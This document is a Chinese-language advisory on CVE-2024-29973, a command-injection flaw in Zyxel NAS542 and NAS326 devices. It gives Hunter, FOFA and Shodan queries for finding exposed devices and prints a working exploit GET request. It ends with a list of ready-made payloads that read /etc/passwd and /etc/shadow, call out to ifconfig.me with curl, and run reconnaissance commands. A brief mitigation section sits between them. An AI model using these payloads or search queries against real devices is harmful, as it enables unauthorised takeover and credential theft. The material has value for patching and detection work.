CVE-2024-29973 是某些 Zyxel 网络设备中发现的一个严重漏洞。该漏洞允许未经身份验证的攻击者利用固件中不当的输入验证机制,在目标设备上执行任意命令。攻击者可以向设备发送特制的 HTTP 请求,注入系统级命令,并有可能完全控制设备。
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
命令注入:该漏洞源于设备某个 Web 界面的输入清理不足。此缺陷允许攻击者在 HTTP 请求的参数中附加操作系统命令。
漏洞利用示例:攻击者可以通过如下 HTTP GET 请求注入命令,以执行任意代码:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
影响:成功利用该漏洞可执行系统命令,进而可能导致远程控制设备、数据泄露或对网络的进一步入侵。
为缓解与此漏洞相关的风险,请遵循以下步骤:
固件更新:确保所有 Zyxel 设备均更新到最新固件版本。Zyxel 已发布针对此漏洞的补丁。请定期检查更新并及时应用。
网络分段:将易受攻击的设备与关键网络基础设施隔离。仅暴露必要的服务,并确保管理界面不公开暴露。
防火墙配置:仅允许必要服务的入站和出站流量。阻止对 Zyxel 设备不必要的 HTTP 访问。
监控可疑活动:实施日志记录和监控工具,以检测并告警异常行为,例如重复的登录尝试或异常流量模式。
参考资料 国家漏洞数据库 - CVE-2024-29973 Zyxel 安全公告

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1